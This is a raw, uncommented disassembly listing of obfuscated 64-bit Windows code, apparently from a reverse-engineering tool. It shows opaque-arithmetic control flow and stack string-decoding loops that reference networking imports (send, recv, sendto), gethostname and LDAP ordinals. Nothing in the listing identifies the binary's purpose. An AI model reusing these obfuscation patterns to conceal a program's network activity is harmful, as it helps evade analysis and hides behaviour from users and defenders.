and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
dec rdi
inc rdi
jmp 0x14007a6d2
movabs rcx, 0x44a8a5314f270d80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x14007a6d2
movabs rdx, 0x75b7eb62b6e1c8b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007b2a8
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14007ae64
movabs rdx, 0xe7785ce74c22a268
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14007ac77
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007aea1
movabs rcx, 0xf9bf3df27daea510
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a6d2
inc rax
cmp r8, rax
jne 0x14007aecc
movabs rcx, 0xc8aff7c115f3e9e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x14007b393
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007aefd
movabs rdx, 0x97a0b18fae392eb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007b339
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007af28
movabs rdx, 0x472defb7708fd20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14007b175
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007af5f
movabs rdx, 0xd36398ca0f4e41f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14007a6d2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007ac83
movabs rdx, 0x71450c673fd8cb90
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007b2a8
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007afc4
movabs rdx, 0xf69edcebbc85f798
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x14007b2a8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007affb
movabs rdx, 0x94805088ed108138
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007a6d2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007ac25
movabs rdx, 0x1527df4b5e04fa8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007a6d2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007b082
movabs rdx, 0xf37e7be4fb5d4a20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a6d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007b0ae
movabs rcx, 0x915fef822be7d3c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x14007b339
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007b0ef
movabs rdx, 0x6050a950c42d1890
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007a6d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b11c
movabs rdx, 0xfe321cedf4b7a230
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x14007b17b
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14007abd4
movabs rdx, 0x6b044a59bd8770a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x14007b2a8
movabs rdx, 0x8e5bdf6ee11fa40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xc08]
add r11b, dl
add r11b, bl
movabs rdx, 0xf05e1ade3a349ca8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xc08], cl
jmp 0x14007b2fa
movabs rcx, 0xd7d677c586573f10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xc08]
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x14007b339
movabs rdx, 0x4356273c9946bdd8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a6d2
movabs rdx, 0x74656d6e01017908
movzx eax, bl
movzx r11d, bl
jmp 0x14007b382
movabs rdx, 0xa574b39f68bc3438
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007b336
movabs rcx, 0x79340023831aa98
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x28
jmp 0x14007b2fa
movabs rcx, 0xcbd058c7d71c9758
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x14007b2a8
movabs rcx, 0x2deee52aa6920db8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
movabs rdx, 0x216d610fa1ef57d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xc08], cl
inc r9
dec rdi
inc rdi
jmp 0x14007a6d2
movabs rcx, 0xf22bfdf0457cfa78
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x48
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007a6d2
mov rbx, r10
movabs rdx, 0x544a8a5314f270d8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0xbf4ed4acd279e178
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x48
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xc08], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14007b393
movabs rdx, 0x8559d0847cad2c08
movzx eax, r10b
movzx r11d, r10b
movzx ebx, r10b
add rdx, rdi
and al, dl
add al, al
sub r11b, al
sub r11b, 0x38
add r11b, dl
movabs rcx, 0xa6c731941e9c83e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x20
add cl, bl
mov byte [rbp + rdi + 0xc08], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a6d2
movabs rdx, 0xb66916b5e467e738
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xc08]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007a6d2
movabs rcx, 0x4188442a8dfe6008
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x14007a6ce
movabs rdx, 0x72978a5bf5b91b38
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007a6b2
lea rcx, [rbp + 0x14529e8]
jmp 0x14007b475
lea rcx, [rbp + 0x167cc50]
jmp 0x14007b475
lea rcx, [rbp + 0xc08]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x14022a1a0]
lea rcx, [rbp + 0x568]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0xc30], 0x48
mov byte [rbp + 0xc31], 0x64
mov byte [rbp + 0xc32], 0x63
mov byte [rbp + 0xc33], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xc34], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xc35], WSASetLastError
mov byte [rbp + 0xc36], Ordinal_41
mov byte [rbp + 0xc37], 0x44
mov byte [rbp + 0xc38], 0x60
mov byte [rbp + 0xc39], WSASetLastError
mov byte [rbp + 0xc3a], WSAGetLastError
mov byte [rbp + 0xc3b], 0x60
mov byte [rbp + recv3c], 0xc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc3d], xmm0
mov dword [rbp + 0xc4d], eax
mov word [rbp + 0xc51], ax
movabs rsi, 0x6ec1b580d549d80
movabs r13, 0xaaff0d7e19040780
movabs r14, 0xd87c537795301280
movabs r15, 0x827e387b63280380
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007c099
movzx r11d, byte [rbp + rbx + 0xc30]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007c090
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007b5ac
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x80
jmp 0x14007b5e5
je 0x14007c00a
inc rax
cmp r8, rax
je 0x14007bfd7
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007bfa0
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007bf76
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007bf48
cmp r9, rbx
ja 0x14007c087
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14007b613
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x14007b650
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14007bef4
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007bee5
lea rax, [rcx + 1]
cmp r8, rax
je 0x14007bec5
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007be2d
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007bb6f
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007bb4b
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007bb3c
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007bb15
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007bb06
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007bad3
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007baa3
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007ba83
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007ba63
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007ba54
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007b660
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14007c062
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007c03e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007b84d
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007b832
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007b817
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007b9ef
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007b999
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007b94d
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007b91e
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14007b660
lea r8, [r9 + 0x400]
lea r9, [r8 + 1]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007b90f
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14007b8eb
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14007b8dc
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007b8cd
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007b8be
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14007b8af
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007b8a0
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14007b891
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007b871
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007b660
lea r8, [r9 + 3]
lea r9, [r8 + 0x10]
jmp 0x14007b660
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14007b650
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14007b5e5
movabs rcx, 0x2c801d7f311ff480
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14007b575
movabs rcx, 0x3760dac06aa4ec00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14007bf13
movabs rcx, 0xe162bfc4389cdd00
jmp 0x14007bc7d
movabs rcx, 0x8b64a4c80694ce00
jmp 0x14007bb1f
movabs rcx, 0x356689cbd48cbf00
jmp 0x14007bc21
movabs rcx, 0xdf686ecfa284b000
jmp 0x14007badd
movabs rcx, 0x896a53d3707ca100
jmp 0x14007baad
movabs rcx, 0x336c38d73e749200
jmp 0x14007ba8d
movabs rdx, 0xdd6e1ddb0c6c8300
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, dl
jmp 0x14007be80
movabs rcx, 0x877002deda647400
jmp 0x14007bbaa
movabs rcx, 0x3074bf685d504e80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
mov byte [rbp + rbx + 0xc30], r10b
inc rbx
jmp 0x14007b562
movabs rdx, 0xda76a46c2b483f80
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
cmp r9, 2
jb 0x14007b93d
movabs rcx, 0x219f603df79afd00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx + rcx]
jmp 0x14007bf13
movabs rcx, 0x8478896ff9403080
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
cmp r8, 0x3e8
jae 0x14007bda0
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x14007bd19
movabs rcx, 0xc5b25264034a6700
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14007b970
movabs rcx, 0x2e7a6e73c7382180
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
lea rax, [r9 + r8]
cmp rax, 0xa
je 0x14007be09
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14007bc9d
movabs rdx, 0xbec6370bf5f5c980
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x14007b9b8
movabs rcx, 0x2988a4104ffbb100
jmp 0x14007bbaa
movabs rcx, 0xd38a89141df3a200
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14007be80
movabs rcx, 0x7d8c6e17ebeb9300
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14007be50
movabs rcx, 0x278e531bb9e38400
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b562
movabs rcx, 0xd190381f87db7500
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b562
movabs rcx, 0x7b921d2355d36600
jmp 0x14007bc21
movabs rcx, 0x2594022723cb5700
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
dec rbx
inc rbx
jmp 0x14007b562
movabs rcx, 0xcf95e72af1c34800
jmp 0x14007bc7d
movabs rdx, 0x7997cc2ebfbb3900
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, dl
jmp 0x14007bf13
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x14007bb97
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x14007ba0e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007bbd1
movabs rcx, 0xdd836b01aa93b00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b562
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007bc0e
movabs rcx, 0x65d0a2a0e2c97700
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b562
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007bc37
movabs rcx, 0xbbcebd9d14d18600
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14007bdc7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007bc66
movabs rcx, 0x11ccd89946d99500
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec rbx
inc rbx
jmp 0x14007b562
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007ba0e
movabs rcx, 0x67caf39578e1a400
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
inc r9
dec rbx
inc rbx
jmp 0x14007b562
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007bcce
movabs rdx, 0x14c4520827fdd880
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x14007bf13
inc rax
cmp r8, rax
jne 0x14007bce5
movabs rcx, 0x6ac26d045a05e780
jmp 0x14007bf52
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007bcfd
movabs rcx, 0xc0c088008c0df680
jmp 0x14007bf80
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b9b8
movabs rcx, 0x6cbcbdf8f01e1480
jmp 0x14007bfaa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007bd54
movabs rcx, 0x1bb06d6035527600
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b562
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007bd6c
movabs rcx, 0xc9a6f44d2f7ac100
jmp 0x14007bc21
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007bd84
movabs rcx, 0x1fa50f496182d000
jmp 0x14007bc4a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007b970
movabs rcx, 0x75a32a45938adf00
jmp 0x14007bc7d
movabs rdx, 0x779d7b3a29a30c00
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xc30]
sub r10b, al
add r10b, r11b
add r10b, dl
movabs rdx, 0x229c88b842a71380
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x80
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xc30], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b562
movabs rcx, 0xcd9b96365bab1b00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xc30]
lea r10d, [r11 + rcx]
jmp 0x14007be50
movabs rdx, 0x60ded83d6b8d0680
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
movabs rcx, 0x789aa3b474af2280
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x80
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xc30], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x2399b1328db32a00
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, cl
mov byte [rbp + rbx + 0xc30], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b562
movabs rcx, 0xae0bd413984f780
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14007bff1
movabs rcx, 0x8e66c4ca36cca80
jmp 0x14007bf80
movabs rcx, 0x5cea36543f5cac80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
movabs rcx, 0xcc9e6dbc109f0480
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x80
add r11b, cl
mov byte [rbp + rbx + 0xc30], r11b
inc r9
dec rbx
inc rbx
jmp 0x14007b562
movabs rcx, 0x5aefe55fa9447f80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x14007b562
movabs rcx, 0x4f1ca63773c7080
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x14007b562
movabs rcx, 0x58f5946b132c5280
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b562
movabs rcx, 0x2f7796ee1244380
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x80
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b562
movabs rcx, 0xfd287a4b0c1680
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x80
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b562
movabs rcx, 0xd6820282ff17e580
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14007b560
movabs rcx, 0x8083e786cd0fd680
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
jmp 0x14007b550
lea rcx, [rbp + 0x1751630]
jmp 0x14007c0a0
lea rcx, [rbp + 0x1391db0]
jmp 0x14007c0a0
lea rcx, [rbp + 0xc30]
mov rdx, rdi
call fcn.140035c60
lea rcx, str.Settings
call fcn.140036770
lea rdx, [0x14022a220]
lea rcx, [rbp + 0x588]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba60
mov r14, rax
movsxd rcx, dword [rax]
lea rsi, str.Head
mov r15, qword [rsi + rcx*8]
mov byte [rbp + 0xc58], 0xca
mov byte [rbp + 0xc59], 0x9e
mov byte [rbp + 0xc5a], 0x56
mov byte [rbp + 0xc5b], WSASetLastError
mov byte [rbp + 0xc5c], reloc.WS2_32.dll_recv
mov byte [rbp + 0xc5d], 0x41
mov byte [rbp + 0xc5e], 0x57
mov byte [rbp + 0xc5f], 0x61
mov byte [rbp + 0xc60], 0x60
mov byte [rbp + 0xc61], 0xf5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc62], xmm0
mov qword [rbp + 0xc72], rax
mov byte [rbp + 0xc7a], al
movabs r13, 0x65a24bb001b577d6
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rdx, 0x5793c437a9c986ea
movabs rcx, 0x4dfb89b30c4597fe
cmp rdi, 0x23
jae 0x14007d0ba
movzx ebx, byte [rbp + rdi + 0xc58]
mov r10, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x14007d0b1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007c1cb
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0xe
jmp 0x14007c212
je 0x14007d01e
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007cf84
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007cf4b
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007cf15
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007ceb6
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007ce63
cmp r9, rdi
ja 0x14007d0a8
lea rax, [r9 + 5]
cmp r8, rax
jae 0x14007c24a
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x5793c437a9c986ea
jmp 0x14007c2a0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007ce3e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007ce1a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007cde7
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007cdc4
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007cd9c
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007cd63
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14007c967
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007c93f
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007c90e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007c8e0
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007c8bb
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007c880
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007c84d
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007c826
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14007c7ff
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007c7cb
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x200]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007d080
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14007d058
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007c4b0
